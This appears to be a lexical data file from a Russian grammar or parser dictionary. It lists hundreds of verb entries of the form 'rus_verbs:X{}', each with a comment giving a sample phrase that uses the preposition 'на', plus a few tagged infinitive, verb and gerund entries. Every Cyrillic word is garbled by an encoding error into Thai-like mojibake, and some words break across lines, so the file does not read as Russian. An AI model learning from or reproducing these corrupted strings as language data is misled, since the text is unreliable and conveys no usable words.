rus_verbs:ะฟะพะฟะธะฒะฐัั{}, // ะฟะพะฟะธะฒะฐัั ะฝะฐ ะฑะฐะปะบะพะฝะต ัะฐะน
rus_verbs:ะพัะฟะปัะฒะฐัั{}, // ะพัะฟะปัะฒะฐัั ะฝะฐ ะปะพะดะบะต
rus_verbs:ัะธัะธะบะฐัั{}, // ัะธัะธะบะฐัั ะฝะฐ ะฒะตัะบะฐั
rus_verbs:ัะบัะฟะธัั{}, // ัะบัะฟะธัั ะฝะฐ ะพะฟัะพะฒัั
ะฑะฐะทะฐั
rus_verbs:ะฝะฐะบะพะปะพัั{}, // ะฝะฐะบะพะปะพัั ะฝะฐ ะบะพะถะต ะบะฐััะธะฝะบั
rus_verbs:ัะพะทัะตะฒะฐัั{}, // ัะพะทัะตะฒะฐัั ะฝะฐ ะฒะตัะบะต
rus_verbs:ะฟัะพะบะพะปะพัััั{}, // ะฟัะพะบะพะปะพัััั ะฝะฐ ะผะตะปะพัะธ
rus_verbs:ะบัััะฝััััั{}, // ะบัััะฝััััั ะฝะฐ ะทะฐะดะฝะตะผ ะบะพะปะตัะต
rus_verbs:ะฟะตัะตะฝะพัะตะฒะฐัั{}, // ะฟะตัะตะฝะพัะตะฒะฐัั ะฝะฐ ะฟะพััะพัะปะพะผ ะดะฒะพัะต
rus_verbs:ะบะพะฝัะตะฝััะธัะพะฒะฐัััั{}, // ะบะพะฝัะตะฝััะธัะพะฒะฐัััั ะฝะฐ ัะธะปัััะต
rus_verbs:ะพะดะธัะฐัั{}, // ะพะดะธัะฐัั ะฝะฐ ั
ััะพัะต
rus_verbs:ัะฟะฐัะฐัััั{}, // ัะฟะฐัะฐัััั ะฝะฐ ะปะพะดะบะต
rus_verbs:ะดะพะบะฐะทัะฒะฐัััั{}, // ะดะพะบะฐะทัะฒะฐัััั ะฝะฐ ัััะฐะฝะธัะฐั
ะบะฝะธะณะธ
rus_verbs:ะฟะพะทะฝะฐะฒะฐัััั{}, // ะฟะพะทะฝะฐะฒะฐัััั ะฝะฐ ัะธะฝะณะต
rus_verbs:ะทะฐะผัะบะฐัััั{}, // ะทะฐะผัะบะฐัััั ะฝะฐ ะผะตัะฐะปะปะธัะตัะบะพะผ ะฟัะตะดะผะตัะต
rus_verbs:ะทะฐะฟัะธะผะตัะธัั{}, // ะทะฐะฟัะธะผะตัะธัั ะฝะฐ ะฟัะธะณะพัะบะต
rus_verbs:ะฟัะพะดะตัะถะฐัั{}, // ะฟัะพะดะตัะถะฐัั ะฝะฐ ะผะพัะพะทะต
rus_verbs:ัะพััะธัะพะฒะฐัั{}, // ัะพััะธัะพะฒะฐัั ะฝะฐ ะฟะปะพัะฐั
rus_verbs:ัะพั
ะฝััั{}, // ัะพั
ะฝััั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ะฒััะฒะธัั{}, // ะฒััะฒะธัั ะฝะฐ ะฟะพะฒะตัั
ะฝะพััะธ
rus_verbs:ะทะฐัะตะดะฐัั{}, // ะทะฐัะตะดะฐัั ะฝะฐ ะบะฐัะตะดัะต
rus_verbs:ัะฐัะฟะปะฐัะธะฒะฐัััั{}, // ัะฐัะฟะปะฐัะธะฒะฐัััั ะฝะฐ ะฒัั
ะพะดะต
rus_verbs:ัะฒะตัะปะตัั{}, // ัะฒะตัะปะตัั ะฝะฐ ะณะพัะธะทะพะฝัะต
rus_verbs:ะทะฐะปะตะฟะตัะฐัั{}, // ะทะฐะปะตะฟะตัะฐัั ะฝะฐ ะฝะตะทะฝะฐะบะพะผะพะผ ัะทัะบะต
rus_verbs:ะฟะพะดััะธััะฒะฐัั{}, // ะฟะพะดััะธััะฒะฐัั ะฝะฐ ะฟะฐะปััะฐั
rus_verbs:ะทะฐัััั{}, // ะทะฐัััั ะฝะฐ ะฟัััััะต
rus_verbs:ััะพัะผะธัะพะฒะฐัััั{}, // ััะพัะผะธัะพะฒะฐัััั ะฝะฐ ะผะตััะต
rus_verbs:ัะฐะทะฒะตัััะฒะฐัััั{}, // ัะฐะทะฒะตัััะฒะฐัััั ะฝะฐ ะฟะปะพัะฐะดะบะต
rus_verbs:ะฝะฐะฑะธะฒะฐัั{}, // ะฝะฐะฑะธะฒะฐัั ะฝะฐ ะผะฐะฝะตะบะตะฝะฐั
rus_verbs:ะทะฐะผะตัะทะฐัั{}, // ะทะฐะผะตัะทะฐัั ะฝะฐ ะฒะตััั
rus_verbs:ัั
ะฒะฐััะฒะฐัั{}, // ัั
ะฒะฐััะฒะฐัั ะฝะฐ ะปะตัั
rus_verbs:ะฟะตัะตะฒะตััะธัั{}, // ะฟะตัะตะฒะตััะธัั ะฝะฐ ะ ััะธ
rus_verbs:ัะผะตัะธะฒะฐัั{}, // ัะผะตัะธะฒะฐัั ะฝะฐ ะฑะปัะดัะต
rus_verbs:ะฟัะพะถะดะฐัั{}, // ะฟัะพะถะดะฐัั ะฝะฐ ะฒั
ะพะดะต
rus_verbs:ะผะตัะทะฝััั{}, // ะผะตัะทะฝััั ะฝะฐ ะฒะตััั
rus_verbs:ัะฐััะธัะฐัั{}, // ัะฐััะธัะฐัั ะฝะฐ ะบะพะถะต
rus_verbs:ะฟะตัะตัะฟะฐัั{}, // ะฟะตัะตัะฟะฐะป ะฝะฐ ัะตะฝะพะฒะฐะปะต
rus_verbs:ัะฐััะตะบะฐัั{}, // ัะฐััะตะบะฐัั ะฝะฐ ัะบััะตัะต
rus_verbs:ะพะฟัะพะฒะตัะณะฝััั{}, // ะพะฟัะพะฒะตัะณะฝััั ะฝะฐ ะฒัััะตะผ ััะพะฒะฝะต
rus_verbs:ะดััั
ะฝััั{}, // ะดััั
ะฝััั ะฝะฐ ะดะธะฒะฐะฝะต
rus_verbs:ัะฐัะฟััั{}, // ัะฐัะฟััั ะฝะฐ ะบัะตััะต
rus_verbs:ะทะฐะฟะตัััั{}, // ะทะฐะฟะตัััั ะฝะฐ ะบะพัััะต
rus_verbs:ะทะฐััะธะปะฐัั{}, // ะทะฐััะธะปะฐัั ะฝะฐ ะฑะฐะปะบะพะฝะต
rus_verbs:ัััะบะฐัััั{}, // ัััะบะฐัััั ะฝะฐ ะพะณะพัะพะดะต
rus_verbs:ัะฐะทะพัะธัััั{}, // ัะฐะทะพัะธัััั ะฝะฐ ะฟัะพะดะฐะถะต ัะฟะธัะตะบ
rus_verbs:ะฟะตัะตะดะตะปะฐัั{}, // ะฟะตัะตะดะตะปะฐัั ะฝะฐ ััะฐะฝะบะต
rus_verbs:ัะฐะทัััะฝััั{}, // ัะฐะทัััะฝััั ะฝะฐ ัััะฐะฝะธัะฐั
ะณะฐะทะตัั
rus_verbs:ะฟะพัะตะดะตัั{}, // ะฟะพัะตะดะตัั ะฝะฐ ะฒะธัะบะฐั
rus_verbs:ะฟัะพัะฐัะธัั{}, // ะฟัะพัะฐัะธัั ะฝะฐ ัะฟะธะฝะต
rus_verbs:ะพัััะตััะฒะธัััั{}, // ะพัััะตััะฒะธัััั ะฝะฐ ะดะตะปะต
rus_verbs:ัะตะปะธัััั{}, // ัะตะปะธัััั ะฝะฐ ะพะบัะฐะธะฝะต
rus_verbs:ะพะฟะปะฐัะธะฒะฐัั{}, // ะพะฟะปะฐัะธะฒะฐัั ะฝะฐ ะฟะตัะฒะพะน ะบะฐััะต
rus_verbs:ะฟะตัะตะฒะพัะฐัะธะฒะฐัั{}, // ะฟะตัะตะฒะพัะฐัะธะฒะฐัั ะฝะฐ ัะบะพะฒะพัะพะดะบะต
rus_verbs:ัะฟัะฐะถะฝััััั{}, // ัะฟัะฐะถะฝััััั ะฝะฐ ะฑะฐัััะต
rus_verbs:ะธัะฟัะพะฑะพะฒะฐัั{}, // ะธัะฟัะพะฑะพะฒะฐัั ะฝะฐ ัะตะฑะต
rus_verbs:ัะฐะทะณะปะฐะดะธัััั{}, // ัะฐะทะณะปะฐะดะธัััั ะฝะฐ ัะฟะธะฝะต
rus_verbs:ัะธัะพะฒะฐัััั{}, // ัะธัะพะฒะฐัััั ะฝะฐ ััะตะบะปะต
rus_verbs:ะฟัะพะดัะพะณะฝััั{}, // ะฟัะพะดัะพะณะฝััั ะฝะฐ ะผะพัะพะทะต
rus_verbs:ะฟะพะผะตัะธัั{}, // ะฟะพะผะตัะธัั ะฝะฐ ะดะพัะบะต
rus_verbs:ะฟัะธััะธัั{}, // ะฟัะธััะธัั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ะธะทะฑะธัะฐัั{}, // ะธะทะฑะธัะฐัั ะฝะฐ ะฟะตัะฒัั
ัะฒะพะฑะพะดะฝัั
ะฒัะฑะพัะฐั
rus_verbs:ะทะฐัะตะฒะฐัััั{}, // ะทะฐัะตะฒะฐัััั ะฝะฐ ะผะฐััะต
rus_verbs:ัะฟะปัะฒะฐัั{}, // ัะฟะปัะฒะฐัั ะฝะฐ ะบะฐัะตัะต
rus_verbs:ะทะฐะผะตััะฐัั{}, // ะทะฐะผะตััะฐัั ะฝะฐ ัะตะบะปะฐะผะฝะพะผ ัะธัะต
rus_verbs:ัะธะบัะธัะพะฒะฐัััั{}, // ัะธะบัะธัะพะฒะฐัััั ะฝะฐ ะดะพััะธะณะฝััะพะผ ััะพะฒะฝะต
rus_verbs:ะทะฐะฟะธัะฐัััั{}, // ะทะฐะฟะธัะฐัััั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ะทะฐะณัะฑะธัั{}, // ะทะฐะณัะฑะธัั ะฝะฐ ะบะพัะฝั
rus_verbs:ัะฐะทะฒะตััััั{}, // ัะฐะทะฒะตััััั ะฝะฐ ะฟัะธัะพะดะต
rus_verbs:ััะตะทะถะฐัััั{}, // ััะตะทะถะฐัััั ะฝะฐ ะปะธะผัะทะธะฝะฐั
rus_verbs:ะฟะพัะฐะฝัะตะฒะฐัั{}, // ะฟะพัะฐะฝัะตะฒะฐัั ะฝะฐ ะผะพะณะธะปะต
rus_verbs:ะดะพั
ะฝััั{}, // ะดะพั
ะฝััั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ะฟัะธะฟะฐัะบะพะฒะฐัััั{}, // ะฟัะธะฟะฐัะบะพะฒะฐัััั ะฝะฐ ะณะฐะทะพะฝะต
rus_verbs:ะพัั
ะฒะฐัะธัั{}, // ะพัั
ะฒะฐัะธัั ะฝะฐ ัะฐัะฟัะพะดะฐะถะต
rus_verbs:ะพัััะฒะฐัั{}, // ะพัััะฒะฐัั ะฝะฐ ัะปะธัะต
rus_verbs:ะฟะตัะตะฒะฐัะธะฒะฐัั{}, // ะฟะตัะตะฒะฐัะธะฒะฐัั ะฝะฐ ะฒััะพะบะพะน ะฒะตัะบะต
rus_verbs:ะฟะพะดะฒะตัะธัั{}, // ะฟะพะดะฒะตัะธัั ะฝะฐ ะฒะตัะตะฒะบะต
rus_verbs:ั
ะฒะฐััะฐัั{}, // ั
ะฒะฐััะฐัั ะฝะฐ ัะฐะฑะพัะต
rus_verbs:ะพััะฐะฑะฐััะฒะฐัั{}, // ะพััะฐะฑะฐััะฒะฐัั ะฝะฐ ัะฑะพัะบะต ััะพะถะฐั
rus_verbs:ัะฐะทะปะตัััั{}, // ัะฐะทะปะตัััั ะฝะฐ ะฟะพะปั
rus_verbs:ะพัะตััะธัั{}, // ะพัะตััะธัั ะฝะฐ ะฟะพะปั
rus_verbs:ะฟัะตะดัะตะดะฐัะตะปัััะฒะพะฒะฐัั{}, // ะฟัะตะดัะตะดะฐัะตะปัััะฒะพะฒะฐัั ะฝะฐ ัะพะฑัะฐะฝะธะธ
rus_verbs:ัะบะพะฝััะทะธัััั{}, // ัะบะพะฝััะทะธัััั ะฝะฐ ััะตะฝะต
rus_verbs:ะฒััะฒะปััััั{}, // ะฒััะฒะปััััั ะฝะฐ ัะธะฝะณะต
rus_verbs:ะบัััะฐะฝััััั{}, // ะบัััะฐะฝััััั ะฝะฐ ะทะฐะดะฝะตะผ ะบะพะปะตัะต
rus_verbs:ะบะฐัะฐัะปะธัั{}, // ะบะฐัะฐัะปะธัั ะฝะฐ ะฒั
ะพะดะต
rus_verbs:ะฟะตัะตัะธัะปััั{}, // ะฟะตัะตัะธัะปััั ะฝะฐ ะฟะฐะปััะฐั
rus_verbs:ะพะฑัะฐะฑะฐััะฒะฐัั{}, // ะพะฑัะฐะฑะฐััะฒะฐัั ะฝะฐ ััะฐะฝะบะต
rus_verbs:ะฝะฐััะธะณะฐัั{}, // ะฝะฐััะธะณะฐัั ะฝะฐ ะฑะตัะตะณั
rus_verbs:ัะฐะทะณัะปะธะฒะฐัั{}, // ัะฐะทะณัะปะธะฒะฐัั ะฝะฐ ะฑะตัะตะณั
rus_verbs:ะฝะฐัะธะปะพะฒะฐัั{}, // ะฝะฐัะธะปะพะฒะฐัั ะฝะฐ ะฟะปัะถะต
rus_verbs:ะฟะพัะตะดะตัั{}, // ะฟะพัะตะดะตัั ะฝะฐ ะผะฐะบััะบะต
rus_verbs:ััะธััะฒะฐัั{}, // ััะธััะฒะฐัั ะฝะฐ ะฑะฐะปะฐะฝัะต
rus_verbs:ะทะฐัะพะถะดะฐัััั{}, // ะทะฐัะพะถะดะฐัััั ะฝะฐ ะฑะพะปััะพะน ะณะปัะฑะธะฝะต
rus_verbs:ัะฐัะฟัะพัััะฐะฝััั{}, // ัะฐัะฟัะพัััะฐะฝััั ะฝะฐ ัะฐะนัะฐั
rus_verbs:ะฟะธัะพะฒะฐัั{}, // ะฟะธัะพะฒะฐัั ะฝะฐ ะฒะตััะธะฝะต ั
ะพะปะผะฐ
rus_verbs:ะฝะฐัะตััะฐัั{}, // ะฝะฐัะตััะฐัั ะฝะฐ ััะตะฝะต
rus_verbs:ัะฐััะฒะตัะฐัั{}, // ัะฐััะฒะตัะฐัั ะฝะฐ ะฟะพะดะพะบะพะฝะฝะธะบะต
rus_verbs:ัะผะฝะตัั{}, // ัะผะฝะตัั ะฝะฐ ะณะปะฐะทะฐั
rus_verbs:ัะฐัััะฒะพะฒะฐัั{}, // ัะฐัััะฒะพะฒะฐัั ะฝะฐ ะพะบัะฐะธะฝะต
rus_verbs:ะทะฐะบัััะธัััั{}, // ะทะฐะบัััะธัััั ะฝะฐ ัะฐะฑะพัะต
rus_verbs:ะพััะฐะฑะพัะฐัั{}, // ะพััะฐะฑะพัะฐัั ะฝะฐ ัะฐั
ัะต
rus_verbs:ะฟะพะปะตัั{}, // ะฟะพะปะตัั ะฝะฐ ะฟะพะปะต ะฑัะฐะฝะธ
rus_verbs:ัะตะฑะตัะฐัั{}, // ัะตะฑะตัะฐัั ะฝะฐ ะฒะตัะบะต
rus_verbs:ะฟะพะดัะตัะบะธะฒะฐัััั{}, // ะฟะพะดัะตัะบะธะฒะฐัััั ะฝะฐ ัะฐะนัะต
rus_verbs:ะฟะพัะตััั{}, // ะฟะพัะตััั ะฝะฐ ะดััะณะพะผ ะฟะพะปะต
rus_verbs:ะทะฐะผะตัะฐัััั{}, // ะทะฐะผะตัะฐัััั ะฝะฐ ะฟะฐััะฑะธัะต
rus_verbs:ะฟัะพััะธัะฐัั{}, // ะฟัะพััะธัะฐัั ะฝะฐ ะฟะฐะปััะฐั
rus_verbs:ะณะพะปะพัะพะฒะฐัั{}, // ะณะพะปะพัะพะฒะฐัั ะฝะฐ ััะฐััะต
rus_verbs:ะผะฐััััั{}, // ะผะฐััััั ะฝะฐ ะฟะปัะถะต
rus_verbs:ัะบะพะปะพัะธัั{}, // ัะบะพะปะพัะธัั ะฝะฐ ัะปัะถะฑะต
rus_verbs:ะพะฑัะตัะฐัััั{}, // ะพะฑัะตัะฐัััั ะฝะฐ ััะถะฑะธะฝะต
rus_verbs:ะพะฑะปะธะฒะฐัััั{}, // ะพะฑะปะธะฒะฐัััั ะฝะฐ ัะปะธัะต
rus_verbs:ะบะฐัะฐัั{}, // ะบะฐัะฐัั ะฝะฐ ะปะพัะฐะดะบะต
rus_verbs:ะฟัะธะฟัััะฐัั{}, // ะฟัะธะฟัััะฐัั ะฝะฐ ัะตะปะต
rus_verbs:ะทะฐะฟะฐะฝะธะบะพะฒะฐัั{}, // ะทะฐะฟะฐะฝะธะบะพะฒะฐัั ะฝะฐ ัะบะทะฐะผะตะฝะต
ะธะฝัะธะฝะธัะธะฒ:ัะปะตัะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะปะตัะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ัะปะตัะฐัั ะฝะฐ ัะฐััะฝะพะผ ัะฐะผะพะปะตัะต
ะดะตะตะฟัะธัะฐััะธะต:ัะปะตัะฐะฒ{},
rus_verbs:ัััะฑะธัั{}, // ัััะฑะธัั ะดะตะฝะตะณ ะฝะฐ ัะฟะตะบัะปััะธัั
rus_verbs:ะทะฐะถะธะณะฐัััั{}, // ะทะฐะถะธะณะฐัััั ะฝะฐ ัะปะธัะต
rus_verbs:ะถะฐัะธัั{}, // ะถะฐัะธัั ะฝะฐ ัะณะปัั
rus_verbs:ะฝะฐะบะฐะฟะปะธะฒะฐัััั{}, // ะฝะฐะบะฐะฟะปะธะฒะฐัััั ะฝะฐ ััะตัั
rus_verbs:ัะฐัะฟัััะธัััั{}, // ัะฐัะฟัััะธัััั ะฝะฐ ะณััะดะบะต
rus_verbs:ัะฐััะฐะถะธะฒะฐัััั{}, // ัะฐััะฐะถะธะฒะฐัััั ะฝะฐ ะผะตััะฐั
rus_verbs:ัััะฐะฝััะฒะพะฒะฐัั{}, // ัััะฐะฝััะฒะพะฒะฐัั ะฝะฐ ะปะพัะฐะดะธ
rus_verbs:ะพัะผะฐััะธะฒะฐัััั{}, // ะพัะผะฐััะธะฒะฐัััั ะฝะฐ ะผะตััะต
rus_verbs:ัะฐะทะฒะพัะฐัะธะฒะฐัั{}, // ัะฐะทะฒะพัะฐัะธะฒะฐัั ะฝะฐ ะทะฐะฒะพะตะฒะฐะฝะฝะพะน ัะตััะธัะพัะธะธ
rus_verbs:ัะพะณัะตะฒะฐัั{}, // ัะพะณัะตะฒะฐัั ะฝะฐ ะฒะตััะธะฝะต ะณะพัั
rus_verbs:ะทะฐัะบััะฐัั{}, // ะทะฐัะบััะฐัั ะฝะฐ ะฒะฐั
ัะต
rus_verbs:ะฟะตัะตะบััะธัั{}, // ะฟะตัะตะบััะธัั ะฝะฐ ะฑะตะณั
rus_verbs:ะฟัะธะฟะปััั{}, // ะฟัะธะฟะปััั ะฝะฐ ััะธะผะฐัะฐะฝะต
rus_verbs:ะทะฐะถะธะณะฐัั{}, // ะทะฐะถะธะณะฐัั ะฝะฐ ัะฐะฝัะฐั
rus_verbs:ะทะฐะบะพะฟะฐัั{}, // ะทะฐะบะพะฟะฐัั ะฝะฐ ะฟะพะปัะฝะต
rus_verbs:ััะธัะฐัั{}, // ััะธัะฐัั ะฝะฐ ะฑะตัะตะณั
rus_verbs:ะฟะพะดััะตัะตะณะฐัั{}, // ะฟะพะดััะตัะตะณะฐัั ะฝะฐ ะฟะพะดั
ะพะดะต
rus_verbs:ะฟะพะณัะปััั{}, // ะฟะพะณัะปััั ะฝะฐ ัะฒะฐะดัะฑะต
rus_verbs:ะพะณะปะฐัะธัั{}, // ะพะณะปะฐัะธัั ะฝะฐ ะผะธัะธะฝะณะต
rus_verbs:ัะฐะทะฑะพะณะฐัะตัั{}, // ัะฐะทะฑะพะณะฐัะตัั ะฝะฐ ะฟัะธะธัะบะต
rus_verbs:ะณัะพั
ะพัะฐัั{}, // ะณัะพั
ะพัะฐัั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ัะฐัะฟะพะปะพะถะธัั{}, // ัะฐัะฟะพะปะพะถะธัั ะฝะฐ ะณัะฐะฝะธัะต
rus_verbs:ัะตะฐะปะธะทะพะฒะฐัััั{}, // ัะตะฐะปะธะทะพะฒะฐัััั ะฝะฐ ะฝะพะฒะพะน ัะฐะฑะพัะต
rus_verbs:ะทะฐัััะฒะฐัั{}, // ะทะฐัััะฒะฐัั ะฝะฐ ะผะพัะพะทะต
rus_verbs:ะทะฐะฟะตัะฐัะปะตัั{}, // ะทะฐะฟะตัะฐัะปะตัั ะฝะฐ ะฟะปะตะฝะบะต
rus_verbs:ััะตะฝะธัะพะฒะฐัััั{}, // ััะตะฝะธัะพะฒะฐัััั ะฝะฐ ะผะฐะฝะตะบะตะฝะต
rus_verbs:ะฟะพัะฟะพัะธัั{}, // ะฟะพัะฟะพัะธัั ะฝะฐ ัะพะฒะตัะฐะฝะธะธ
rus_verbs:ะทะฐััะณะธะฒะฐัั{}, // ะทะฐััะณะธะฒะฐัั ะฝะฐ ะฟะพััะต
rus_verbs:ะทะธะถะดะธัััั{}, // ะทะธะถะดะธัััั ะฝะฐ ัะฒะตัะดะพะน ะพัะฝะพะฒะต
rus_verbs:ะฟะพัััะพะธัััั{}, // ะฟะพัััะพะธัััั ะฝะฐ ะฟะตัะบะต
rus_verbs:ะฝะฐะดััะฒะฐัััั{}, // ะฝะฐะดััะฒะฐัััั ะฝะฐ ัะฐะฑะพัะต
rus_verbs:ะทะฐะบะธะฟะฐัั{}, // ะทะฐะบะธะฟะฐัั ะฝะฐ ะฟะปะธัะต
rus_verbs:ะทะฐัะพะฝััั{}, // ะทะฐัะพะฝััั ะฝะฐ ะผะตะปะบะพะฒะพะดัะต
rus_verbs:ะฟะพะฑััั{}, // ะฟะพะฑััั ะฝะฐ ัะฐะทะตะฝะดะต
rus_verbs:ัะณะพัะฐัั{}, // ัะณะพัะฐัั ะฝะฐ ัะพะปะฝัะต
ะธะฝัะธะฝะธัะธะฒ:ะฟะพะฟะธัะฐัั{ aux stress="ะฟะพะฟ^ะธัะฐัั" }, ะณะปะฐะณะพะป:ะฟะพะฟะธัะฐัั{ aux stress="ะฟะพะฟ^ะธัะฐัั" }, // ะฟะพะฟะธัะฐัั ะฝะฐ ัะปะธัะต
ะดะตะตะฟัะธัะฐััะธะต:ะฟะพะฟะธัะฐะฒ{ aux stress="ะฟะพะฟ^ะธัะฐะฒ" },
rus_verbs:ะฟะพะดัะฐัััั{}, // ะฟะพะดัะฐัััั ะฝะฐ ััะตะฝะต
rus_verbs:ะทะฐะฟัะฐะฒะธัั{}, // ะทะฐะฟัะฐะฒะธัั ะฝะฐ ะฟะพัะปะตะดะฝะตะน ะทะฐะฟัะฐะฒะบะต
rus_verbs:ะพะฑะพะทะฝะฐัะฐัััั{}, // ะพะฑะพะทะฝะฐัะฐัััั ะฝะฐ ะบะฐััะต
rus_verbs:ะฟัะพัะธะถะธะฒะฐัั{}, // ะฟัะพัะธะถะธะฒะฐัั ะฝะฐ ะฑะตัะตะณั
rus_verbs:ะฝะฐัะตััะธัั{}, // ะฝะฐัะตััะธัั ะฝะฐ ะปะธััะบะต
rus_verbs:ัะพัะผะพะทะธัั{}, // ัะพัะผะพะทะธัั ะฝะฐ ะปัะดั
rus_verbs:ะทะฐัะตะฒะฐัั{}, // ะทะฐัะตะฒะฐัั ะฝะฐ ะบะพัะผะธัะตัะบะพะน ะฑะฐะทะต
rus_verbs:ะทะฐะดะตัะถะธะฒะฐัั{}, // ะทะฐะดะตัะถะธะฒะฐัั ะฝะฐ ัะฐะผะพะถะฝะต
rus_verbs:ะฟัะธะปะตัะฐัั{}, // ะฟัะธะปะตัะฐัั ะฝะฐ ัะฐััะฝะพะผ ัะฐะผะพะปะตัะต
rus_verbs:ะฟะพะปัะปะตะถะฐัั{}, // ะฟะพะปัะปะตะถะฐัั ะฝะฐ ััะฐะฒะบะต
rus_verbs:ะตัะทะฐัั{}, // ะตัะทะฐัั ะฝะฐ ัะฐะฑััะตัะบะต
rus_verbs:ะฟะพะบะพะฟะฐัััั{}, // ะฟะพะบะพะฟะฐัััั ะฝะฐ ัะบะปะฐะดะต
rus_verbs:ะฟะพะดะฒะตะทัะธ{}, // ะฟะพะดะฒะตะทัะธ ะฝะฐ ะผะฐัะธะฝะต
rus_verbs:ะฟะพะปะตะถะฐัั{}, // ะฟะพะปะตะถะฐัั ะฝะฐ ะฒะพะดะฝะพะผ ะผะฐััะฐัะต
rus_verbs:ััััั{}, // ััััั ะฝะฐ ัะปะธัะต
rus_verbs:ัััะฝััั{}, // ัััะฝััั ะฝะฐ ัะปะธัะต
rus_verbs:ัะบัะตััะธัััั{}, // ัะบัะตััะธัััั ะฝะฐ ะณััะดะธ
rus_verbs:ะฟัะธะฟะฐัะบะพะฒะฐัั{}, // ะฟัะธะฟะฐัะบะพะฒะฐัั ะฝะฐ ััะพัะฝะบะต
rus_verbs:ะทะดะพัะพะฒะฐัััั{}, // ะทะดะพัะพะฒะฐัััั ะฝะฐ ะบะฐัะตะดัะต
rus_verbs:ะฝะฐัะฐัะฐะฟะฐัั{}, // ะฝะฐัะฐัะฐะฟะฐัั ะฝะฐ ะฟะฐััะต
rus_verbs:ะพัะบะพะฟะฐัั{}, // ะพัะบะพะฟะฐัั ะฝะฐ ะฟะพะปัะฝะต
rus_verbs:ัะผะฐััะตัะธัั{}, // ัะผะฐััะตัะธัั ะฝะฐ ะบะพะปะตะฝะบะฐั
rus_verbs:ะดะพะฒะตะทัะธ{}, // ะดะพะฒะตะทัะธ ะฝะฐ ะผะฐัะธะฝะต
rus_verbs:ะธะทะฑะธะฒะฐัั{}, // ะธะทะฑะธะฒะฐัั ะฝะฐ ะบัััะต
rus_verbs:ัะฒะฐัะธัั{}, // ัะฒะฐัะธัั ะฝะฐ ะบะพัััะต
rus_verbs:ะธัััะตะฑะธัั{}, // ะธัััะตะฑะธัั ะฝะฐ ะบะพัะฝั
rus_verbs:ัะฐัะบะพะฟะฐัั{}, // ัะฐัะบะพะฟะฐัั ะฝะฐ ะฑะพะปะพัะต
rus_verbs:ะฟะพะฟะธัั{}, // ะฟะพะฟะธัั ะฝะฐ ะบัั
ะฝะต
rus_verbs:ะทะฐะฟัะฐะฒะปััั{}, // ะทะฐะฟัะฐะฒะปััั ะฝะฐ ะฑะฐะทะต
rus_verbs:ะบััะฐัั{}, // ะบััะฐัั ะฝะฐ ะบัั
ะฝะต
rus_verbs:ะทะฐะผะพะปะบะฐัั{}, // ะทะฐะผะพะปะบะฐัั ะฝะฐ ะฟะพะปะพะฒะธะฝะต ััะฐะทั
rus_verbs:ะธะทะผะตัััััั{}, // ะธะทะผะตัััััั ะฝะฐ ะฒะตัะฐั
rus_verbs:ัะฑัะฒะฐัััั{}, // ัะฑัะฒะฐัััั ะฝะฐ ัะฐะผะพะผ ะดะตะปะต
rus_verbs:ะธะทะพะฑัะฐะถะฐัััั{}, // ะธะทะพะฑัะฐะถะฐะตััั ะฝะฐ ััะตะฝะต
rus_verbs:ัะธะบัะธัะพะฒะฐัั{}, // ัะธะบัะธัะพะฒะฐัั ะฝะฐ ะดะฐะฝะฝะพะน ะฒััะพัะต
rus_verbs:ะพัะปะฐะฑะปััั{}, // ะพัะปะฐะฑะปััั ะฝะฐ ัะตะต
rus_verbs:ะทัะตัั{}, // ะทัะตัั ะฝะฐ ะณััะดะบะต
rus_verbs:ะทะตะปะตะฝะตัั{}, // ะทะตะปะตะฝะตัั ะฝะฐ ะณััะดะบะต
rus_verbs:ะบัะธัะธะบะพะฒะฐัั{}, // ะบัะธัะธะบะพะฒะฐัั ะฝะฐ ัััะฐะฝะธัะฐั
ะณะฐะทะตัั
rus_verbs:ะพะฑะปะตัะตัั{}, // ะพะฑะปะตัะตัั ะฝะฐ ัะฐะผะพะปะตัะต
rus_verbs:ะทะฐัะฐะทะธัััั{}, // ะทะฐัะฐะทะธัััั ะฝะฐ ัะฐะฑะพัะต
rus_verbs:ัะฐััะตััั{}, // ัะฐััะตััั ะฝะฐ ัะตััะธัะพัะธะธ
rus_verbs:ะฟะตัััั{}, // ะฟะตัััั ะฝะฐ ะบะพัััะต
rus_verbs:ะฟะพัะฟะฐัั{}, // ะฟะพัะฟะฐัั ะฝะฐ ะทะตะผะปะต
rus_verbs:ัะฟะปะตัะฐัััั{}, // ัะฟะปะตัะฐัััั ะฝะฐ ะผะฐะบััะบะต
rus_verbs:ัะดะตัะถะธะฒะฐัััั{}, // ัะดะตัะถะธะฒะฐัััั ะฝะฐ ัะฐัััะพัะฝะธะธ
rus_verbs:ะฟะพะผะตัะฐัััั{}, // ะฟะพะผะตัะฐัััั ะฝะฐ ัะธััะพัะต
rus_verbs:ะปะธะบะฒะธะดะธัะพะฒะฐัั{}, // ะปะธะบะฒะธะดะธัะพะฒะฐัั ะฝะฐ ะฟะพะปะธะณะพะฝะต
rus_verbs:ะฟัะพะฒะฐะปััััั{}, // ะฟัะพะฒะฐะปััััั ะฝะฐ ะดะธะฒะฐะฝะต
rus_verbs:ะปะตัะธัััั{}, // ะปะตัะธัััั ะฝะฐ ะดะพะผั
rus_verbs:ะพะฑัะฐะฑะพัะฐัั{}, // ะพะฑัะฐะฑะพัะฐัั ะฝะฐ ััะฐะฝะบะต
rus_verbs:ะทะฐัะตะปะบะฝััั{}, // ะทะฐัะตะปะบะฝััั ะฝะฐ ััะบะฐั
rus_verbs:ัะฐะทะฝะพัะธัั{}, // ัะฐะทะฝะพัะธัั ะฝะฐ ะพะดะตะถะดะต
rus_verbs:ัะตัะฐัั{}, // ัะตัะฐัั ะฝะฐ ะณััะดะธ
rus_verbs:ะฝะฐะปะฐะดะธัั{}, // ะฝะฐะปะฐะดะธัั ะฝะฐ ะบะพะฝะฒะตะนะตัะต ะฒัะฟััะบ
rus_verbs:ะพัััั
ะฝััััั{}, // ะพัััั
ะฝััััั ะฝะฐ ัะปะธัะต
rus_verbs:ัะฐะทัะณััะฒะฐัััั{}, // ัะฐะทัะณััะฒะฐัััั ะฝะฐ ัะบะฐัะบะฐั
rus_verbs:ะพะฑะตัะฟะตัะธะฒะฐัััั{}, // ะพะฑะตัะฟะตัะธะฒะฐัััั ะฝะฐ ะฒัะณะพะดะฝัั
ััะปะพะฒะธัั
